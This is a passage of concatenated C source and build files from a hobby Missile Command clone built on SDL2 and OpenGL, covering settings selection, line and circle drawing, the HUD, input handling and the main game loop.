out how to draw text. (FreeType?) -Set up a version system. <file_sep>cmake_minimum_required (VERSION 2.8) project (Asteroids C) set (CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Wall -g") set(SDL_MIXER_INCLUDE_DIR "SDL_Mixer includes" CACHE PATH "description") set(SDL_MIXER_LIB "SDL_Mixer lib" CACHE FILEPATH "description") file (GLOB SRC_FILES src/*.c) #copy media folder into build directory if we are building outside of source if (NOT CMAKE_CURRENT_BINARY_DIR EQUAL CMAKE_CURRENT_SOURCE_DIR) file (GLOB MEDIA_FILES "media/*") file (COPY ${MEDIA_FILES} DESTINATION "${CMAKE_CURRENT_BINARY_DIR}/media") endif (NOT CMAKE_CURRENT_BINARY_DIR EQUAL CMAKE_CURRENT_SOURCE_DIR) add_executable (Asteroids ${SRC_FILES}) #find_library (SDL_LIBRARY NAMES SDL2 SDL PATHS # /Library/Framworks # C:/SDL2) set(CMAKE_MODULE_PATH ${CMAKE_MODULE_PATH} "${CMAKE_SOURCE_DIR}/cmake/Modules/") message("SDL2DIR: " $ENV{SDL2DIR}) find_package (SDL2 REQUIRED) find_package (OpenGL REQUIRED) message ("OPENGL_LIBRARY: ${OPENGL_LIBRARY}") message ("SDL2 Include path: ${SDL2_INCLUDE_DIR}") message ("SDL2 Links: ${SDL2_LIBRARY}") include_directories (${SDL2_INCLUDE_DIR} ${OPENGL_INCLUDE_DIR} ${SDL_MIXER_INCLUDE_DIR}) target_link_libraries (Asteroids ${SDL2_LIBRARY} ${OPENGL_LIBRARY} ${SDL_MIXER_LIB}) <file_sep>/* File: Settings.c Author: <NAME> <EMAIL> Description: Provides an interface to the user requesting their desired game settings. Date: 2016/08/04 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #include "Settings.h" #include <stdio.h> #include <ctype.h> #include <stdlib.h> struct Game_setting default_settings[] = { {800, 600, FALSE}, {1024, 768, FALSE}, {1280, 800, FALSE}, {1280, 1024, FALSE}, {1366, 768, FALSE}, {1920, 1080, FALSE}, {800, 600, TRUE}, {1024, 768, TRUE}, {1280, 800, TRUE}, {1280, 1024, TRUE}, {1366, 768, TRUE}, {1920, 1080, TRUE} }; struct Game_setting request_settings() { int max_default = sizeof(default_settings) / sizeof(struct Game_setting); int i, setting_choice = -1; char input[10]; struct Game_setting settings = {0, 0, FALSE}; BOOL valid_input = TRUE, valid_choice = FALSE; do { printf("\nPlease choose a setting choice:\n"); for (i=0; i<max_default; i++) { fprintf(stdout, "Choice: %-3.1d | %4.1dx%-4.1d Fullscreen: %s\n", i, default_settings[i].width, default_settings[i].height, (default_settings[i].fullscreen == TRUE) ? "Yes" : "No"); } printf("\nEnter the number corresponding to your desired choice and"); printf(" then hit enter:" ); fgets(input, 10, stdin); i = 0; while(input[i] != '\0' && input[i] != '\n') { if (isdigit(input[i]) == 0) { valid_input = FALSE; break; } i++; } if (valid_input == TRUE) setting_choice = atoi(input); if (setting_choice >= 0 && setting_choice < max_default) { settings = default_settings[setting_choice]; valid_choice = TRUE; } else { printf("\nThat is not a valid option!\n"); valid_input = TRUE; //Can't forget to reset this } } while (valid_choice == FALSE); printf("You picked option: %d\n", setting_choice); return settings; } <file_sep>/* File: Draw.c Author: <NAME> <EMAIL> Description: Function definitions for Draw.h Date: 2016/08/04 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #include "Draw.h" #include "Missile_List.h" #include "Explosion_List.h" void draw_line(int x1, int y1, int x2, int y2) { glBegin(GL_LINES); //glVertex2f(normalise_x(x1), normalise_y(y1)); //glVertex2f(normalise_x(x2), normalise_y(y2)); glVertex2i(x1, y1); glVertex2i(x2, y2); glEnd(); } void draw_linef(float x1, float y1, float x2, float y2) { glBegin(GL_LINES); //glVertex2f(normalise_xf(x1), normalise_yf(y1)); //glVertex2f(normalise_xf(x2), normalise_yf(y2)); glVertex2f(x1, y1); glVertex2f(x2, y2); glEnd(); } void draw_circlef(float x, float y, float radius) { int i; glBegin(GL_POLYGON); for (i = 0; i < 360; i++) { glVertex2f(x + sin(i * (3.14 / 180)) * radius, y + cos(i * (3.14 / 180)) * radius); } glEnd(); } float normalise_y(int y) { if (y == 0) return 1.0f; return 1.0f - (y*2.0f / gc_win_height); } float normalise_yf(float y) { if (y == 0.0f) return 1.0f; return 1.0f - (y*2.0f / gc_win_height); } float normalise_x(int x) { if (x == 0) return -1.0f; return (x*2.0f / gc_win_width) - 1.0f; } float normalise_xf(float x) { if (x == 0.0f) return -1.0f; return (x*2.0f / gc_win_width) - 1.0f; } void draw_missiles() { struct Missile_Node* current_missile = get_missile_head(); float x1, y1, x2, y2; while (current_missile != NULL) { if (current_missile->missile == NULL) { printf("One of our missile is null?\n"); current_missile = current_missile->next; return -1; } x1 = current_missile->missile->start_x; y1 = current_missile->missile->start_y; x2 = current_missile->missile->x; y2 = current_missile->missile->y; //draw_line((int) x1, (int) y1, (int) x2, (int) y2); draw_linef(x1, y1, x2, y2); //draw_line(0, 0, 10, 10); current_missile = current_missile->next; } } void draw_explosions() { struct Explosion_Node* current_explosion = get_explosion_head(); float x1, y1; while (current_explosion != NULL) { x1 = current_explosion->explosion->x; y1 = current_explosion->explosion->y; draw_circlef(x1, y1, current_explosion->explosion->current_radius); current_explosion = current_explosion->next; } } <file_sep>#include "Explosion.h" #ifndef EXPLOSION_LIST_H #define EXPLOSION_LIST_H struct Explosion_Node { struct Explosion* explosion; struct Explosion_Node* next; }; extern struct Explosion_Node* g_explosion_head; extern struct Explosion_Node* g_explosion_tail; struct Explosion_Node* create_explosion_node(); int add_explosion(float x, float y, float max_r, long life_span, int id); struct Explosion_Node* get_explosion_head(); struct Explosion_Node* get_explosion_tail(); int remove_explosion(struct Explosion* exp); #endif<file_sep>/* File: Game.h Author: <NAME> <EMAIL> Description: Gameplay related functions for the radar-turn-based game. Date: 2016/07/28 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #ifndef GAME_H #define GAME_H #include "SDL.h" #include "SDL_Mixer.h" #include "Window.h" #include "Input_handling.h" #include "Bool.h" #include "Platform.h" #include "Missile_List.h" extern long g_previous_time; extern long g_current_time; extern long g_start_time; extern int g_radar_beam_y; extern const float gc_radar_beam_speed; extern const int gc_radar_beam_delay; extern int g_scan_start_time; extern int g_last_scan_end; extern BOOL g_scanning; extern Mix_Chunk* launch_sound; extern Mix_Chunk* bomb_sound; extern Mix_Music* backtrack; extern float missile_speed; /* Draw everything that should be on screen, on screen. */ void draw_all(); /* Update the game */ void update(); /* initialise the timing values */ void init_timers(); /* Update the timiing values */ void update_timers(); /* Update the state of the radar beam */ void update_radar_beam(); /* Update an individual missile */ void update_missile(struct Missile* missile); /* Update the missiles */ void update_missiles(); void update_explosion(); /* Update the exposions */ void update_explosions(); /* remove expried explosions */ void cull_explosions(); /* Fire a missile! */ void fire_missile(int id, float target_x, float target_y, float origin_x, float origin_y); /* Unfire missile! */ void unfire_missile(); /* Remove expired missiles */ void cull_missiles(); /* Load Audio tracks */ void load_audio_files(); void clean_up(); #endif <file_sep>/* File: Bool.h Author: <NAME> <EMAIL> Description: Definitions for boolean type. Date: 2016/07/27 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #ifndef BOOL #include "SDL_opengl.h" #include "Platform.h" #define BOOL GLboolean /***** WARNING! ********/ /* In the future if GL_FALSE and GL_TRUE then this will break but I'm sick of the compiler warnings. */ #define TRUE 1 #define FALSE 0 #endif <file_sep>Work in Progress Missile Command clone Libraries required: - SDL2 - SDL_Mixer - openGL See releases for a current demo <file_sep>/* File: Window.h Author: <NAME> <EMAIL> Description: Functions and variables relating to the game window and rendering to it. Date: 2016/07/27 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #ifndef WINDOW_H #define WINDOW_H #include "SDL.h" #include "SDL_opengl.h" #ifdef __APPLE__ #include <OpenGL/glu.h> #endif #ifdef __linux__ #include <GL/glu.h> #endif #ifdef __WIN32__ #include <GL/glu.h> #endif #include "Bool.h" #include "Settings.h" #include "Platform.h" extern SDL_Window* g_window; extern SDL_GLContext* g_gl_context; extern int gc_win_width; extern int gc_win_height; //extern const char* gc_title; extern long g_frames; extern char g_title_text[]; extern BOOL g_fullscreen; /* Clear the screen with blackness. */ void clear_screen(); /* Present the screen to the user */ void show_screen(); /* Initialise SDL systems and create a window and renderer \param set The desired game settings \return 0 upon success, not-zero otherwise */ int initialise_window(const struct Game_setting* set); /* Initialise some openGL fluff \return 0 upon success, not-zero otherwise */ int init_opengl(); /* print the frames per second in the window title */ void print_fps(int fps); #endif <file_sep>/* File: Input_handling.c Author: <NAME> <EMAIL> Description: Functions and variables for handling input for Radar game. Date: 2016/07/27 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #include "Input_handling.h" #include "HUD.h" #include "SDL.h" #include "Game.h" BOOL g_running = 1; int g_mouse_x = 0; int g_mouse_y = 0; void handle_input() { SDL_Event e; while (SDL_PollEvent(&e) != 0) { if (e.type == SDL_KEYDOWN) { switch (e.key.keysym.sym) { case SDLK_ESCAPE: g_running = 0; break; } } else if (e.type == SDL_KEYUP) { switch (e.key.keysym.sym) { } } else if (e.type == SDL_MOUSEMOTION) { SDL_GetMouseState(&g_mouse_x, &g_mouse_y); update_mouse_pointer(); } if (e.type == SDL_MOUSEBUTTONUP) { if (e.button.button == SDL_BUTTON_LEFT) { //fire missile ! } } else if (e.type == SDL_QUIT) { g_running = 0; } if (e.type == SDL_MOUSEBUTTONUP) { if (e.button.button == SDL_BUTTON_LEFT) { //fire missile! printf("Mouse clicked!\n"); fire_missile(0, (float)g_mouse_x, (float)g_mouse_y, gc_win_width, gc_win_height); } if (e.button.button == SDL_BUTTON_RIGHT) { unfire_missile(); } } } } <file_sep>#include "Missile.h" #ifndef MISSILE_LIST_H #define MISSILE_LIST_H struct Missile_Node { struct Missile* missile; struct Missile_Node* next; }; extern struct Missile_Node* g_missile_head; extern struct Missile_Node* g_missile_tail; struct Missile_Node* create_missile_node(); int add_missile(float sx, float sy, float a, long ltime, long dtime, long eradius, int id); struct Missile_Node* get_missile_head(); struct Missile_Node* get_missile_tail(); int remove_missile(struct Missile* mis); #endif<file_sep>/* File: HUD.c Author: <NAME> <EMAIL> Description: Functions and variables related to drawing the HUD Date: 2016/07/29 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #include "HUD.h" #include "Window.h" #include "Game.h" #include "Input_handling.h" #include "Draw.h" const int gc_padding = 3; SDL_Point g_border_points[5]; SDL_Point g_mouse_rect_points[5]; SDL_Point g_mouse_lines[8]; const int mouse_width = 8; struct color g_border_color = {61, 213, 62, 255}; void draw_hud() { //SDL_SetRenderDrawColor(g_renderer, g_border_color.r, g_border_color.g, //g_border_color.b, g_border_color.a); //SDL_RenderDrawLines(g_renderer, g_border_points, 5); draw_border(); if (g_scanning == TRUE) draw_radar_beam(); //draw_string(g_bearing_text, 10, 10, 2, 2); //draw_string(g_depth_text, 10, 22, 2, 2); draw_mouse_pointer(); } void init_hud() { SDL_Point tl = {gc_padding, gc_padding}; SDL_Point tr = {gc_win_width-gc_padding, gc_padding}; SDL_Point br = {gc_win_width-gc_padding, gc_win_height-gc_padding}; SDL_Point bl = {gc_padding, gc_win_height-gc_padding}; g_border_points[0] = tl; g_border_points[1] = tr; g_border_points[2] = br; g_border_points[3] = bl; g_border_points[4] = tl; SDL_ShowCursor(SDL_DISABLE); } void draw_border() { draw_line(g_border_points[0].x, g_border_points[0].y, g_border_points[1].x, g_border_points[1].y); draw_line(g_border_points[1].x, g_border_points[1].y, g_border_points[2].x, g_border_points[2].y); draw_line(g_border_points[3].x, g_border_points[3].y, g_border_points[2].x, g_border_points[2].y); draw_line(g_border_points[4].x, g_border_points[4].y, g_border_points[3].x, g_border_points[3].y); } void draw_radar_beam() { draw_line(gc_padding, g_radar_beam_y, gc_win_width-gc_padding, g_radar_beam_y);// } void draw_mouse_pointer() { draw_line(g_mouse_rect_points[0].x, g_mouse_rect_points[0].y, g_mouse_rect_points[1].x, g_mouse_rect_points[1].y); draw_line(g_mouse_rect_points[1].x, g_mouse_rect_points[1].y, g_mouse_rect_points[2].x, g_mouse_rect_points[2].y); draw_line(g_mouse_rect_points[2].x, g_mouse_rect_points[2].y, g_mouse_rect_points[3].x, g_mouse_rect_points[3].y); draw_line(g_mouse_rect_points[3].x, g_mouse_rect_points[3].y, g_mouse_rect_points[4].x, g_mouse_rect_points[4].y); /* Axis lines */ /* draw_line(g_mouse_lines[0].x, g_mouse_lines[0].y, g_mouse_lines[1].x, g_mouse_lines[1].y); draw_line(g_mouse_lines[2].x, g_mouse_lines[2].y, g_mouse_lines[3].x, g_mouse_lines[3].y); draw_line(g_mouse_lines[4].x, g_mouse_lines[4].y, g_mouse_lines[5].x, g_mouse_lines[5].y); draw_line(g_mouse_lines[6].x, g_mouse_lines[6].y, g_mouse_lines[7].x, g_mouse_lines[7].y); */ draw_line(g_mouse_x, gc_padding, g_mouse_x, gc_win_height-gc_padding); draw_line(gc_padding, g_mouse_y, gc_win_width-gc_padding, g_mouse_y); } void update_mouse_pointer() { SDL_ShowCursor(0); /* Top left*/ g_mouse_rect_points[0].x = g_mouse_x - (mouse_width / 2); g_mouse_rect_points[0].y = g_mouse_y - (mouse_width / 2); /* Top right */ g_mouse_rect_points[1].x = g_mouse_x + (mouse_width / 2); g_mouse_rect_points[1].y = g_mouse_rect_points[0].y; /*Bottom right*/ g_mouse_rect_points[2].x = g_mouse_x + (mouse_width / 2); g_mouse_rect_points[2].y = g_mouse_y + (mouse_width / 2); /* Bottom left*/ g_mouse_rect_points[3].x = g_mouse_rect_points[0].x; g_mouse_rect_points[3].y = g_mouse_rect_points[2].y; /* Top left*/ g_mouse_rect_points[4].x = g_mouse_rect_points[0].x; g_mouse_rect_points[4].y = g_mouse_rect_points[0].y; /* Update axis aligned lines */ /* Top line */ g_mouse_lines[0].x = g_mouse_x; g_mouse_lines[0].y = g_mouse_y - (mouse_width/2); g_mouse_lines[1].x = g_mouse_x; g_mouse_lines[1].y = gc_padding; /*Right line*/ g_mouse_lines[2].x = g_mouse_x + (mouse_width/2); g_mouse_lines[2].y = g_mouse_y; g_mouse_lines[3].x = gc_win_width-gc_padding; g_mouse_lines[3].y = g_mouse_y; /*Bottom line*/ g_mouse_lines[4].x = g_mouse_x; g_mouse_lines[4].y = g_mouse_y + (mouse_width/2); g_mouse_lines[5].x = g_mouse_x; g_mouse_lines[5].y = gc_win_height-gc_padding; /*Left line*/ g_mouse_lines[6].x = g_mouse_x - (mouse_width/2); g_mouse_lines[6].y = g_mouse_y; g_mouse_lines[7].x = gc_padding; g_mouse_lines[7].y = g_mouse_y; } <file_sep>/* File: main.c Author: <NAME> <EMAIL> Description: A prototype for a radar-turn-based game. Date: 2016/07/27 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #include "SDL.h" #include "Input_handling.h" #include "Window.h" #include "Game.h" #include "HUD.h" #include "Bool.h" #include "Settings.h" #include "Missile_List.h" #include "Explosion_List.h" #include <stdio.h> #undef main int main(int argc, char** argv) { int last_fps_check; /* if (argc > 1) { int i = 0; while (i<argc) { char* param = argv[i]; int size = sizeof(param) / sizeof(char); int j = 0; while (param[j] != '\0') { if (param[j] == '-' && j < size - 1) { if (param[j+1] == 'f' || param[j+1] == 'F') g_fullscreen = TRUE; } j++; } i++; } }*/ struct Game_setting settings = request_settings(); if (initialise_window(&settings) != 0) { printf("Failed to setup critical components!\nself destructing in"); printf(" 10 seconds...\n"); return 1; } init_timers(); init_hud(); load_audio_files(); add_explosion(40.0f, 40.0f, 30.0f, 500, 0); last_fps_check = SDL_GetTicks(); print_fps(999); if (Mix_PlayMusic(backtrack, -1) == -1) { printf("Could not play music\n"); } while (g_running == TRUE) { update_timers(); handle_input(); update(); if (g_current_time - last_fps_check > 500) { int fps = 1000 / (g_current_time - g_previous_time); print_fps(fps); last_fps_check = g_current_time; } //clear_screen(); draw_all(); show_screen(); } clean_up(); SDL_Quit(); return 0; } <file_sep>/* File: Draw.h Author: <NAME> <EMAIL> Description: Functions for drawing basic 2d Primitives. Date: 2016/08/04 COPYRIGHT (c) 2016 <NAME> MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. _ _ _ _ _____ | | | | | (_) | __ \ | |__| | _____ _| |_ _ __ __ _ | |__) |_ _ ___ ___ | __ |/ _ \ \ /\ / / | | '_ \ / _` | | ___/ _` / __/ __| | | | | (_) \ V V /| | | | | | (_| | | | | (_| \__ \__ \ |_| |_|\___/ \_/\_/ |_|_|_| |_|\__, | |_| \__,_|___/___/ __/ | |___/ _____ / ____| | | __ __ _ _ __ ___ ___ ___ | | |_ |/ _` | '_ ` _ \ / _ \/ __| | |__| | (_| | | | | | | __/\__ \ \_____|\__,_|_| |_| |_|\___||___/ */ #ifndef DRAW_H #define DRAW_H #include "SDL.h" #include "SDL_opengl.h" #include "Window.h" #include "Platform.h" /* Draw a line between the two specifed points */ void draw_line(int x1, int y1, int 